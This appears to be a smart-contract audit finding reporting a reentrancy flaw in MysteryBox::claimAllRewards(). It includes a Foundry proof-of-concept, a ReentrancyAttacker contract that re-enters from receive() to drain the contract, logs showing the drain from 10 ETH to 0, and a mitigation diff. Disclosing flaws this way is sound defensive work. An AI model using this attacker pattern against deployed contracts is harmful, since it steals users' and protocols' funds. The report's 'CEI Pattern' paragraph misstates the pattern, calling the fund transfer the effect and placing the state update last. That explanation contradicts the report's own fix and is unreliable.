Description:
The MysteryBox::claimAllRewards() function is vulnerable to a reentrancy attack because it doesn't follow the Checks-Effects-Interactions (CEI) pattern. It sends funds to the user before deleting the corresponding rewards from the internal state. This vulnerability allows malicious actors who receive at least one Bronze Coin (or higher rewards) to potentially drain the entire contract balance.
CEI Pattern:
The CEI pattern emphasizes performing checks (e.g., verifying enough rewards exist), executing the desired effect (e.g., sending funds), and then updating the state (e.g., deleting claimed rewards). This ensures the state reflects the actual transaction.
Vulnerable Code:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
@> require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
Impact:
An attacker can exploit this vulnerability to steal all funds collected by the protocol.
Tools Used:
Manual Review, Foundry Forge
Proof of Concept:
The provided test demonstrates how an attacker can drain the contract balance. The ReentrancyAttacker contract exploits the vulnerability by calling claimAllRewards() again within the receive() function if the contract balance is high enough. This triggers a reentrancy and allows the attacker to steal funds before they are removed from the internal state.
function testReentrancy() public {
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(mysteryBox);
vm.deal(address(mysteryBox), 10 ether);
vm.deal(address(reentrancyAttacker), 10 ether);
console.log("Initial Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Initial Contract Balance", address(mysteryBox).balance / 1e18);
vm.startPrank(address(reentrancyAttacker));
for (uint256 i = 0; i <= 6; i++) {
vm.warp(1641070800 + i);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
}
vm.stopPrank();
vm.prank(user1);
reentrancyAttacker.attack();
console.log("Ending Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Ending Contract Balance Balance", address(mysteryBox).balance / 1e18);
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 boxPrice;
uint256 attackerIndex;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
boxPrice = mysteryBox.boxPrice();
}
function attack() external payable {
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance >= 1e18) {
mysteryBox.claimAllRewards();
}
}
}
The following logs are produced by those additions into your test folder:
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancy() (gas: 655152)
Logs:
Reward Pool Length: 4
Initial Attacker Balance 10
Initial Contract Balance 10
Ending Attacker Balance 19
Ending Contract Balance Balance 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.19ms (588.60µs CPU time)
Ran 1 test suite in 3.90ms (1.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As it is obviously visible in those logs, the reentrancy was successful and within financially viable limits.
Recommended Mitigation:
Follow the CEI pattern to restructure MysteryBox::claimAllRewards.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
+ delete rewardsOwned[msg.sender];
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
Consider using a ReentrancyGuard from for example openzeppelin. Visit https://docs.openzeppelin.com/contracts/4.x/api/security as a reference.
